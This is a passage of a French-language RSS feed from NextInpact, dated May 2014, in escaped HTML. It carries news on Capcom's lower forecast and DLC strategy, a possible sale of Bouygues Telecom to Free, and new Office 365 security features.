+&lt;p&gt;Mais avant de poursuivre son &amp;eacute;volution, Capcom va devoir traverser une ann&amp;eacute;e difficile, et surtout marqu&amp;eacute;e par une activit&amp;eacute; plus faible que d'habitude. Ainsi, l'&amp;eacute;diteur compte ne lancer que 25 jeux au cours du prochain exercice fiscal, soit 17 de moins que lors de l'exercice 2014, et 21 de moins qu'un an plus t&amp;ocirc;t. Fatalement, cela va se traduire par une baisse importante des ventes de jeux, qui devraient passer de 17,5 millions &amp;agrave; seulement 13 millions d'exemplaires. La chute la plus brutale aura lieu en Europe, o&amp;ugrave; les ventes devraient &amp;ecirc;tre moiti&amp;eacute; moins importantes que cette ann&amp;eacute;e, et repr&amp;eacute;senter moins du tiers de celles observ&amp;eacute;es sur l'exercice 2013.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;L'une des cons&amp;eacute;quences logiques de ces ventes moins importantes est bien &amp;eacute;videmment une baisse du chiffre d'affaires attendu sur l'exercice 2015. Celui-ci se situerait autour de la barre des 80 milliards de yens, soit une baisse d'environ 20 % sur un an. Seule bonne nouvelle, un accroissement de la marge &amp;agrave; hauteur de 3 points, permettrait de quasi doubler le b&amp;eacute;n&amp;eacute;fice net.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;L'avenir sera fait de DLC et de jeux&amp;nbsp;&amp;laquo; casuals &amp;raquo; visant un public f&amp;eacute;minin&lt;/h3&gt;
+&lt;p&gt;Concernant sa strat&amp;eacute;gie pour les ann&amp;eacute;es &amp;agrave; venir, Capcom a d&amp;eacute;j&amp;agrave; &amp;eacute;t&amp;eacute; tr&amp;egrave;s clair sur ce point, un fort accent sera mis sur les contenus additionnels t&amp;eacute;l&amp;eacute;chargeables, ou DLC pour prolonger la dur&amp;eacute;e de vie de ses jeux sur le march&amp;eacute; tout en augmentant ses marges. Les choses n'ont pas chang&amp;eacute; depuis et cela apparait clairement dans le diaporama pr&amp;eacute;sent&amp;eacute; aux actionnaires.&amp;nbsp;&lt;em&gt;&amp;laquo; Renforcer la strat&amp;eacute;gie sur les DLC &amp;raquo;&lt;/em&gt; et &lt;em&gt;&amp;laquo; lancer strat&amp;eacute;giquement des DLC pour les titres majeurs afin d'&amp;eacute;tendre leur dur&amp;eacute;e de vie &amp;raquo;&lt;/em&gt;&amp;nbsp;difficile de faire passer le message plus clairement.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146710.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146710.png" alt="Capcom FY 14 DLC" width="195" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146709.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146709.png" alt="Capcom FY 14 DLC" width="195" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146708.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-146708.png" alt="Capcom FY 14 DLC" width="195" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Rassurez-vous, les DLC ne sont pas le seul axe de croissance entrevu par &amp;nbsp;Capcom. L'&amp;eacute;diteur compte &amp;eacute;galement&amp;nbsp;&amp;laquo; utiliser les franchises de jeu existantes pour lancer des titres visant les joueuses occasionnelles &amp;raquo;, ce gr&amp;acirc;ce &amp;agrave; un label &amp;agrave; part, baptis&amp;eacute; &lt;a href="http://www.beeline-i.com/games.php" target="_blank"&gt;Beeline Interactive&lt;/a&gt;. Si ce nom ne vous dit rien, sachez que l'on doit &amp;agrave; cette marque des titres tels que&amp;nbsp;&lt;em&gt;Le village des Schtroumpfs&lt;/em&gt; sur mobile, ou encore&amp;nbsp;&lt;em&gt;Snoopy's Candy Town&lt;/em&gt;, dont on s'&amp;eacute;tonne de ne pas avoir entendu parler de la moindre injonction de &lt;a href="http://www.nextinpact.com/news/85464-king-depose-marque-candy-et-menace-poursuites-dautres-studios.htm" target="_blank"&gt;King&lt;/a&gt;&amp;nbsp;&amp;agrave; son sujet pour le moment.&lt;/p&gt;</description><pubDate>Tue, 13 May 2014 17:00:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87506.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87502-vente-bouygues-telecom-a-free-seul-scenario-possible.htm</guid><link>http://www.nextinpact.com/news/87502-vente-bouygues-telecom-a-free-seul-scenario-possible.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>nil@nextinpact.com</author><category>Société</category><title>Vente de Bouygues Telecom à Free : le seul scénario possible ?</title><description>&lt;p class="actu_chapeau"&gt;Le groupe Bouygues serait-il pr&amp;ecirc;t &amp;agrave; c&amp;eacute;der sa filiale t&amp;eacute;l&amp;eacute;com &amp;agrave; son meilleur ennemi, faute de meilleure solution ? La question se pose un peu plus chaque jour, alors que des rumeurs font planer un plan de d&amp;eacute;parts majeur et qu'Arnaud Montebourg veut pousser Bouygues Telecom &amp;agrave; fusionner pour limiter les d&amp;eacute;g&amp;acirc;ts et retourner &amp;agrave; un march&amp;eacute; &amp;agrave; trois op&amp;eacute;rateurs.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/145001.png" alt="Operateurs 2013 clients fixes et mobiles" /&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Free compte d&amp;eacute;j&amp;agrave; plus de clients que &lt;span data-affiliable="false" data-affkey="Bouygues Telecom"&gt;Bouygues Telecom&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;h3&gt;Bouygues paie cash ses retards&lt;/h3&gt;
+&lt;p&gt;Face &amp;agrave; l'ogre &lt;span data-affiliable="true" data-affkey="Orange"&gt;Orange&lt;/span&gt;, la nouvelle fusion Numericable-&lt;span data-affiliable="true" data-affkey="SFR"&gt;SFR&lt;/span&gt; et la croissance de Free, &lt;span data-affiliable="true" data-affkey="Bouygues Telecom"&gt;Bouygues Telecom&lt;/span&gt; est-il dans une impasse ?&amp;nbsp;Ces derni&amp;egrave;res ann&amp;eacute;es, on ne peut pas dire que le cr&amp;eacute;ateur&amp;nbsp;de la Bbox n'a rien tent&amp;eacute; pour plaire &amp;agrave; tout le monde. Les actionnaires ont eu leurs d&amp;eacute;parts d'un peu plus de 500 employ&amp;eacute;s, les clients mobiles ont eu une couverture &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; importante et une offre B&amp;amp;You r&amp;eacute;active, et les abonn&amp;eacute;s&amp;nbsp;fixes viennent de se voir proposer une offre triple-play comp&amp;eacute;titive &amp;agrave; moins de 20 euros. De quoi soulever les foules ? Ce jeudi, lors de la publication de ses derniers r&amp;eacute;sultats, le groupe nous dira si ses niveaux de recrutement se sont bien &amp;eacute;lev&amp;eacute;s ou non.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En attendant, depuis l'&amp;eacute;chec du rachat de &lt;span data-affiliable="false" data-affkey="SFR"&gt;SFR&lt;/span&gt;, l'avenir de &lt;span data-affiliable="false" data-affkey="Bouygues Telecom"&gt;Bouygues Telecom&lt;/span&gt; est sur toutes les l&amp;egrave;vres. Il faut dire que l'op&amp;eacute;rateur a un probl&amp;egrave;me de taille : il est &amp;agrave; la fois tr&amp;egrave;s loin des leaders dans le secteur mobile&amp;nbsp;et le secteur fixe. La faute &amp;agrave; une arriv&amp;eacute;e tardive dans ces deux march&amp;eacute;s. Pour le mobile, il a d&amp;eacute;ploy&amp;eacute; sa 2G puis sa 3G apr&amp;egrave;s &lt;span data-affiliable="false" data-affkey="Orange"&gt;Orange&lt;/span&gt; et &lt;span data-affiliable="false" data-affkey="SFR"&gt;SFR&lt;/span&gt;, ce qui explique l'&amp;eacute;cart de plusieurs millions de clients que l'on peut constater aujourd'hui. Quant au fixe, s'il y a mis un pied tr&amp;egrave;s t&amp;ocirc;t (en 1996) avec la cr&amp;eacute;ation de Neuf T&amp;eacute;l&amp;eacute;com, il en est parti quelques ann&amp;eacute;es plus tard en c&amp;eacute;dant cette filiale, pour y revenir il y a&amp;nbsp;peu.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;R&amp;eacute;sultat, au 31 d&amp;eacute;cembre 2013, Bouygues dispose d'un peu plus de 11 millions clients mobiles, soit 10 millions de moins que l'op&amp;eacute;rateur au carr&amp;eacute; rouge&amp;nbsp;et 16 millions de moins que l'op&amp;eacute;rateur historique. Et &lt;span data-affiliable="false" data-affkey="Free Mobile"&gt;Free Mobile&lt;/span&gt; pourrait bien le doubler d'ici peu. Quant&amp;nbsp;aux activit&amp;eacute;s de fournisseur d'acc&amp;egrave;s &amp;agrave; internet, la filiale ne compte que 2 millions d'abonn&amp;eacute;s,&amp;nbsp;soit deux et demi fois moins que Free et &lt;span data-affiliable="false" data-affkey="SFR"&gt;SFR&lt;/span&gt; et cinq fois moins qu'&lt;span data-affiliable="false" data-affkey="Orange"&gt;Orange&lt;/span&gt;. Et sauf surprise, ces retards ne seront pas combl&amp;eacute;s avant un moment, voire jamais.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si pour le groupe Bouygues, garder sa filiale t&amp;eacute;l&amp;eacute;com avait auparavant un sens pour de multiples raisons (cash g&amp;eacute;n&amp;eacute;r&amp;eacute; tr&amp;egrave;s important, forte visibilit&amp;eacute;, etc.), aujourd'hui, d&amp;egrave;s lors que les marges se sont r&amp;eacute;duites et que la facture moyenne des clients a fondu au soleil, une remise en question est logiquement&amp;nbsp;l&amp;eacute;gitime. Le groupe de BTP a d&amp;eacute;j&amp;agrave; les concurrents de TF1 &amp;agrave; g&amp;eacute;rer et ses diff&amp;eacute;rents investissements dans certaines soci&amp;eacute;t&amp;eacute;s (dont Alstom) sont eux aussi en discussions.&lt;/p&gt;
+&lt;h3&gt;&amp;laquo;&amp;nbsp;En pleine affaire Alstom, cela s'apparente beaucoup &amp;agrave; du chantage &amp;agrave; l'emploi&amp;nbsp;&amp;raquo;&lt;/h3&gt;
+&lt;p&gt;Selon &lt;a href="http://www.latribune.fr/technos-medias/20140512trib000829394/pourquoi-bouygues-telecom-prepare-un-lourd-plan-social.html" target="_blank"&gt;La Tribune&lt;/a&gt;, la derni&amp;egrave;re nouvelle portant sur &lt;a href="http://www.nextinpact.com/news/87474-bouygues-telecom-pourrait-licencier-jusqua-22-son-effectif.htm" target="_blank"&gt;1 500 &amp;agrave; 2 000 d&amp;eacute;parts&lt;/a&gt;&amp;nbsp;chez Bouygues, soit un peu moins&amp;nbsp;d'un quart de ses effectifs, serait en r&amp;eacute;alit&amp;eacute; une fa&amp;ccedil;on pour le groupe Bouygues d'imposer une certaine pression sur le gouvernement et de faire du chantage &amp;agrave; l'emploi vis-&amp;agrave;-vis du cas Alstom.&amp;nbsp;&amp;laquo;&amp;nbsp;&lt;em&gt;Ils font fuiter un gros chiffre de licenciements au d&amp;eacute;but, agitent le chiffon rouge et le diminuent ensuite, pour permettre au gouvernement de dire qu'il a fait plier l'industriel. C'est ce qu'a fait Alcatel-Lucent&lt;/em&gt;&amp;nbsp;&amp;raquo; a ainsi expliqu&amp;eacute;&amp;nbsp;un analyste joint par nos confr&amp;egrave;res.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;laquo;&amp;nbsp;&lt;em&gt;En pleine affaire Alstom, cela s'apparente beaucoup &amp;agrave; du chantage &amp;agrave; l'emploi&amp;nbsp;&lt;/em&gt;&amp;raquo; estime-t-on du c&amp;ocirc;t&amp;eacute; du&amp;nbsp;gouvernement. Un haut fonctionnaire indique m&amp;ecirc;me qu'il y a d&amp;eacute;j&amp;agrave; deux ans, alors que &lt;span data-affiliable="true" data-affkey="Free Mobile"&gt;Free Mobile&lt;/span&gt; venait &amp;agrave; peine d'arriver sur le march&amp;eacute;, Bouygues commen&amp;ccedil;ait d&amp;eacute;j&amp;agrave; &amp;agrave; menacer le gouvernement&amp;nbsp;&amp;laquo;&amp;nbsp;&lt;em&gt;que si l'on ne r&amp;eacute;glait pas le probl&amp;egrave;me de Free, il y aurait un probl&amp;egrave;me avec Alstom&lt;/em&gt;&amp;nbsp;&amp;raquo;. L'objectif serait donc de pousser Arnaud Montebourg &amp;agrave; cesser de mettre des b&amp;acirc;tons dans les roues avec Siemens et de laisser General Electric croquer Alstom, sachant que Bouygues d&amp;eacute;tient pr&amp;egrave;s de 30 % du groupe.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais outre le cas Alstom, il y a tout simplement le cas &lt;span data-affiliable="false" data-affkey="Bouygues Telecom"&gt;Bouygues Telecom&lt;/span&gt;. Une cession pure et simple &amp;agrave; un autre op&amp;eacute;rateur semble aujourd'hui plus&amp;nbsp;cr&amp;eacute;dible&amp;nbsp;qu'hier. Cette volont&amp;eacute; de r&amp;eacute;duire son&amp;nbsp;effectif ne serait ainsi pas du bluff mais aurait pour objectif d'augmenter sa valeur via des &amp;eacute;conomies et une augmentation des marges gr&amp;acirc;ce &amp;agrave; une baisse importante de la masse salariale. Combien peut bien valoir la filiale t&amp;eacute;l&amp;eacute;com ? Vu ses milliers d'antennes, son effectif de plus de 9 000 employ&amp;eacute;s (pour l'instant) et ses diff&amp;eacute;rentes infrastructures, sa valeur pourrait &amp;ecirc;tre proche de 8 milliards d'euros. Une somme a priori trop &amp;eacute;lev&amp;eacute;e pour&amp;nbsp;Iliad (Free), mais qui pourrait &amp;ecirc;tre r&amp;eacute;duite afin d'amener du cash rapidement. Les analystes d'UBS estiment m&amp;ecirc;me que sa valeur r&amp;eacute;elle pourrait &amp;ecirc;tre de 4,4 milliards d'euros, ce qui d&amp;eacute;j&amp;agrave; correspond bien plus aux capacit&amp;eacute;s financi&amp;egrave;res du quatri&amp;egrave;me op&amp;eacute;rateur.&lt;/p&gt;
+&lt;h3&gt;&amp;laquo; &lt;span data-affiliable="false" data-affkey="Bouygues Telecom"&gt;Bouygues Telecom&lt;/span&gt; peut rester seul car il peut compter sur le groupe Bouygues&amp;nbsp;&amp;raquo;&lt;/h3&gt;
+&lt;p&gt;Cela signifie-t-il que l'op&amp;eacute;rateur va se c&amp;eacute;der au meilleur offrant, qu'il soit fran&amp;ccedil;ais ou m&amp;ecirc;me &amp;eacute;tranger ? Officiellement, ce n'est en tout cas pas le cas.&amp;nbsp;Martin Bouygues, le mois dernier, &lt;a href="http://www.nextinpact.com/news/87021-rachat-sfr-martin-bouygues-estime-avoir-ete-floue-par-vivendi.htm" target="_blank"&gt;expliquait&lt;/a&gt;&amp;nbsp;lors d'une entrevue accord&amp;eacute;e au Figaro&amp;nbsp;qu'aucun sc&amp;eacute;nario&amp;nbsp;de rapprochement avec un concurrent n'&amp;eacute;tait en cours :&amp;nbsp;&amp;laquo;&amp;nbsp;&lt;em&gt;Dans un march&amp;eacute; &amp;agrave; quatre op&amp;eacute;rateurs, nous savons que nous devons continuer &amp;agrave; diminuer nos co&amp;ucirc;ts et &amp;agrave; innover fortement. &lt;span data-affiliable="true" data-affkey="Bouygues Telecom"&gt;Bouygues Telecom&lt;/span&gt; peut rester seul car il peut compter sur le groupe Bouygues, qui peut lui fournir des moyens importants pour gagner la rude bataille qui s'annonce.&amp;nbsp;&lt;/em&gt;&amp;raquo;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/144665.png" alt="Bouygues Telecom 2013" /&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Les fortes &amp;eacute;conomies r&amp;eacute;alis&amp;eacute;es&amp;nbsp;l'an pass&amp;eacute; seront-elles suffisantes ?&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ces propos ont en r&amp;eacute;alit&amp;eacute; &amp;eacute;t&amp;eacute; exprim&amp;eacute;s suite &amp;agrave; la publication d'une nouvelle quelques jours plus t&amp;ocirc;t par Le Parisien, qui indiquait que des discussions &amp;eacute;taient en cours pour une &lt;a href="http://www.nextinpact.com/news/86932-rumeur-free-pourrait-racheter-bouygues-telecom-integralement.htm" target="_blank"&gt;vente int&amp;eacute;grale de Bouygues Telecom &lt;/a&gt;&amp;agrave; Free voire &amp;agrave; un autre op&amp;eacute;rateur. Cela a donc &amp;eacute;t&amp;eacute; d&amp;eacute;menti par la voix de son patron, mais nous avons d&amp;eacute;j&amp;agrave; vu dans le pass&amp;eacute; des d&amp;eacute;mentis &amp;ecirc;tre de simples bluffs. Le mois dernier, un analyste du&amp;nbsp;cabinet Oddo indiquait d'ailleurs que &amp;laquo;&amp;nbsp;&lt;em&gt;Martin Bouygues fait le constat que Bouygues T&amp;eacute;l&amp;eacute;com pourrait avoir bien du mal &amp;agrave; redresser sa rentabilit&amp;eacute;, et donc que le cash-flow normatif de Bouygues T&amp;eacute;l&amp;eacute;com pourrait avoir du mal &amp;agrave; retrouver un niveau d&amp;eacute;cent, &amp;agrave; m&amp;ecirc;me de convaincre Martin Bouygues de conserver cet actif. Martin Bouygues devrait donc clairement se poser la question de la p&amp;eacute;rennit&amp;eacute; de la pr&amp;eacute;sence des t&amp;eacute;l&amp;eacute;coms dans le giron du groupe.&lt;/em&gt;&amp;nbsp;&amp;raquo;&lt;/p&gt;
+&lt;h3&gt;Un retour &amp;agrave; trois op&amp;eacute;rateurs, le souhait de Montebourg&lt;/h3&gt;
+&lt;p&gt;Une vision a priori partag&amp;eacute;e par le ministre de l'&amp;Eacute;conomie Arnaud Montebourg, qui, suite &amp;agrave; la nouvelle des futurs licenciements &amp;agrave; venir, a rapidement &lt;a href="http://www.latribune.fr/technos-medias/telecoms/20140512trib000829451/montebourg-veut-faire-fusionner-bouygues-telecom-avec-un-autre-operateur.html" target="_blank"&gt;indiqu&amp;eacute;&lt;/a&gt;&amp;nbsp;qu'il fallait revenir &amp;agrave; un march&amp;eacute; &amp;agrave; trois et que Bouygues devait se vendre.&amp;nbsp;&amp;laquo; &lt;em&gt;Il est parfaitement possible aujourd'hui &amp;agrave; deux op&amp;eacute;rateurs de fusionner et monsieur Bouygues est parfaitement en mesure d'imaginer des solutions avec d'autres que &lt;span data-affiliable="true" data-affkey="SFR"&gt;SFR&lt;/span&gt;. (...) Je l'y invite, il le sait, je le lui ai dit&lt;/em&gt; &amp;raquo; s'est-il ainsi exprim&amp;eacute; au cours d'une conf&amp;eacute;rence de presse organis&amp;eacute;e en Haute-Savoie.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ce passage de quatre &amp;agrave; trois op&amp;eacute;rateurs est une sorte de lubie d'Arnaud Montebourg, ceci quasi depuis son arriv&amp;eacute;e au pouvoir. Si, dans l'opposition, il a lou&amp;eacute; l'impact positif de &lt;span data-affiliable="true" data-affkey="Free Mobile"&gt;Free Mobile&lt;/span&gt; sur les prix, une fois au sein du gouvernement, Montebourg n'a pas cach&amp;eacute; ses difficult&amp;eacute;s avec le nouvel op&amp;eacute;rateur, et en plus encore avec l'ARCEP, qui avait autoris&amp;eacute; une pareille&amp;nbsp;arriv&amp;eacute;e dans de telles&amp;nbsp;conditions. En &lt;a href="http://www.nextinpact.com/news/85706-montebourg-declare-guerre-a-arcep-et-dit-vouloir-remettre-a-sa-place.htm" target="_blank"&gt;f&amp;eacute;vrier dernier&lt;/a&gt;, lors des v&amp;oelig;ux 2014 de la F&amp;eacute;d&amp;eacute;ration Fran&amp;ccedil;aise des T&amp;eacute;l&amp;eacute;coms, l'ex-locataire de Bercy s'&amp;eacute;tait m&amp;ecirc;me pay&amp;eacute; la t&amp;ecirc;te de l'Autorit&amp;eacute; de la concurrence en expliquant que lorsqu'il la recevait, il lui dit&amp;nbsp;&amp;laquo;&amp;nbsp;&lt;em&gt;"Vous, vous &amp;ecirc;tes contre les ententes, et moi, je les organise. Vous, vous &amp;ecirc;tes nomm&amp;eacute;, moi je suis &amp;eacute;lu." Donc, qui a raison ? Forc&amp;eacute;ment moi&lt;/em&gt;&lt;em&gt;.&lt;/em&gt;&amp;nbsp;&amp;raquo;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour le ministre, une fusion entre Bouygues et Free&amp;nbsp;semble donc in&amp;eacute;luctable, ceci pour de multiples raisons. Mais est-ce cr&amp;eacute;dible pour autant ? Si un tel rapprochement aurait un sens entre les deux op&amp;eacute;rateurs les plus petits du march&amp;eacute;, on ne peut pas dire qu'une histoire d'amour soit n&amp;eacute;e entre les deux op&amp;eacute;rateurs, m&amp;ecirc;me si la possibilit&amp;eacute; de vendre ses antennes et ses fr&amp;eacute;quences &amp;agrave; Free pour &lt;a href="http://www.nextinpact.com/news/86368-si-bouygues-telecom-rachete-sfr-free-recuperera-son-reseau-2g-3g-et-4g.htm" target="_blank"&gt;1,8 milliard d'euros&lt;/a&gt;&amp;nbsp;les a certes &amp;eacute;loign&amp;eacute;s un peu moins, mais de l&amp;agrave; &amp;agrave; parler d'un mariage ? Cet &amp;eacute;pisode a toutefois prouv&amp;eacute; que la logique financi&amp;egrave;re l'emportait sur les frictions. Si d'aventure les futurs bilans financiers de sa filiale t&amp;eacute;l&amp;eacute;com venaient &amp;agrave; &amp;ecirc;tre m&amp;eacute;diocres, le sc&amp;eacute;nario prendra alors un peu plus de poids.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Rappelons qu'en bourse, le groupe Bouygues (hors TF1) ne vaut que 10,60 milliards d'euros, contre plus de 12,10 milliards pour Iliad (Free) et 13,7 milliards si l'on cumule Altice et Numericable.&lt;/p&gt;</description><pubDate>Tue, 13 May 2014 16:40:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87502.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87505-office-365-securite-renforcee-dans-entreprises-a-partir-juin.htm</guid><link>http://www.nextinpact.com/news/87505-office-365-securite-renforcee-dans-entreprises-a-partir-juin.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>vincent@nextinpact.com</author><category>Services</category><title>Office 365 : la sécurité renforcée dans les entreprises à partir de juin</title><description>&lt;p class="actu_chapeau"&gt;Microsoft a annonc&amp;eacute; durant sa conf&amp;eacute;rence TechEd plusieurs am&amp;eacute;liorations ayant trait &amp;agrave; la s&amp;eacute;curit&amp;eacute; pour son offre Office 365 &amp;agrave; destination des entreprises. Chiffrement, gestion des appareils mobiles ou encore protection contre les pertes de donn&amp;eacute;es seront &amp;agrave; l&amp;rsquo;honneur &amp;agrave; partir du mois de juin.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146707.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146707.png" alt="office 365" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le domaine de la s&amp;eacute;curit&amp;eacute; est d&amp;eacute;sormais sous les feux des projecteurs de mani&amp;egrave;re r&amp;eacute;guli&amp;egrave;re, notamment au travers d&amp;rsquo;actualit&amp;eacute;s portant sur des failles, en particulier HeartBleed. C&amp;rsquo;est dans ce contexte que Microsoft a &lt;a href="http://blogs.office.com/2014/05/12/enterprise-grade-cloud-services-a-high-bar-required-for-security-compliance-and-privacy/" target="_blank"&gt;r&amp;eacute;alis&amp;eacute; plusieurs annonces portant sur Office 365&lt;/a&gt;&amp;nbsp;pour les entreprises. Elles font suite &amp;agrave; d&amp;rsquo;autres fonctionnalit&amp;eacute;s mises en place r&amp;eacute;cemment, notamment le &lt;a href="http://www.nextinpact.com/news/86207-le-chiffrement-smime-emails-debarque-dans-office-365.htm" target="_blank"&gt;support de S/MIME&lt;/a&gt;&amp;nbsp;et une offre de chiffrement des courriers &amp;eacute;lectroniques.&lt;/p&gt;
+&lt;h3&gt;Une cl&amp;eacute; de chiffrement unique par fichier&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;&amp;Agrave; compter de juin prochain, il faudra compter sur d&amp;rsquo;autres apports. En tout premier lieu, le chiffrement des donn&amp;eacute;es fera un bond dans OneDrive for Business (r&amp;eacute;cemment &lt;a href="http://www.nextinpact.com/news/87279-onedrive-for-business-passe-a-1-to-stockage-par-defaut.htm" target="_blank"&gt;pass&amp;eacute; &amp;agrave; 1 To&lt;/a&gt;) et SharePoint Online. Ainsi, au lieu de proposer une cl&amp;eacute; unique de chiffrement par disque, chaque fichier stock&amp;eacute; dans ces espaces de sauvegarde disposera de sa propre cl&amp;eacute;. Cela concernera aussi bien la premi&amp;egrave;re version d&amp;rsquo;un fichier que toutes les mises &amp;agrave; jour &amp;eacute;tant r&amp;eacute;alis&amp;eacute;es, les modifications &amp;eacute;tant chiffr&amp;eacute;es elles aussi quand elles sont appliqu&amp;eacute;es. Tous les clients d&amp;rsquo;une offre &lt;span data-affiliable="true" data-affkey="Office 365"&gt;Office 365&lt;/span&gt; compatible avec OneDrive for Business ou SharePoint Online sont concern&amp;eacute;s par cette am&amp;eacute;lioration.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En juin &amp;eacute;galement, Microsoft &amp;eacute;tendra sa capacit&amp;eacute; de pr&amp;eacute;vention des pertes de donn&amp;eacute;es (DLP), disponible dans Exchange, &amp;agrave; l&amp;rsquo;ensemble des utilisateurs de SharePoint Online et OneDrive for Business disposant d&amp;rsquo;un abonnement &lt;a href="http://office.microsoft.com/fr-fr/comparer-les-offres-office-365-pour-les-entreprises-FX102918419.aspx" target="_blank"&gt;Office 365 Enterprise E3&lt;/a&gt;&amp;nbsp;(comprenant entre autres la derni&amp;egrave;re version de la suite Office). La DLP permet de trier automatiquement les donn&amp;eacute;es des utilisateurs selon leur importance via une analyse de leur structure. Les administrateurs pourront lancer des requ&amp;ecirc;tes depuis l&amp;rsquo;eDiscovery Center afin de visualiser ou exporter les r&amp;eacute;sultats.&lt;/p&gt;
+&lt;h3&gt;Des strat&amp;eacute;gies globales pour les documents Office sur les appareils mobiles&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Un autre point important qui sera mis en avant prochainement est la gestion de la s&amp;eacute;curit&amp;eacute; sur les documents Office &amp;agrave; travers la flotte d&amp;rsquo;appareils mobiles pour une entreprise. &amp;Agrave; travers Windows Intune, ces derni&amp;egrave;res pourront bient&amp;ocirc;t d&amp;eacute;finir des politiques de s&amp;eacute;curit&amp;eacute; qui permettront aux employ&amp;eacute;s d&amp;rsquo;acc&amp;eacute;der &amp;agrave; des documents Office ou &amp;agrave; Outlook Web App. Elles pourront donc indiquer qui acc&amp;egrave;de &amp;agrave; quoi &amp;agrave; travers des applications con&amp;ccedil;ues pour appliquer des strat&amp;eacute;gies globales. Des versions pour iOS et Android sont attendues plus tard dans l&amp;rsquo;ann&amp;eacute;e.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/146706.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-146706.png" alt="trust center" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour mieux centraliser ce type d&amp;rsquo;informations, Microsoft a par ailleurs d&amp;eacute;cid&amp;eacute; de &amp;laquo;&amp;nbsp;relancer&amp;nbsp;&amp;raquo; &lt;a href="http://office.microsoft.com/fr-fr/business/centre-de-confiance-et-de-transparence-doffice-365-FX103030390.aspx?redir=0" target="_blank"&gt;son portail Trust Center&lt;/a&gt;. Les utilisateurs concern&amp;eacute;s y trouveront des renseignements sur la mani&amp;egrave;re dont la firme g&amp;egrave;re les donn&amp;eacute;es, am&amp;eacute;liore la s&amp;eacute;curit&amp;eacute; ainsi que des documentations plus techniques sur les d&amp;eacute;ploiements des fonctionnalit&amp;eacute;s associ&amp;eacute;es. &amp;Eacute;videmment, ce portail m&amp;eacute;langera autant les informations utiles que celles d&amp;eacute;di&amp;eacute;es &amp;agrave; la pr&amp;eacute;sentation, avec l&amp;rsquo;aspect marketing que cela suppose. &amp;Agrave; une &amp;eacute;poque o&amp;ugrave; la s&amp;eacute;curit&amp;eacute; des donn&amp;eacute;es est souvent jug&amp;eacute;e insuffisante, cr&amp;eacute;ant un d&amp;eacute;ficit de confiance dans tout ce qui touche au cloud, Microsoft a visiblement &amp;agrave; c&amp;oelig;ur de montrer que le client peut &amp;ecirc;tre rassur&amp;eacute;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
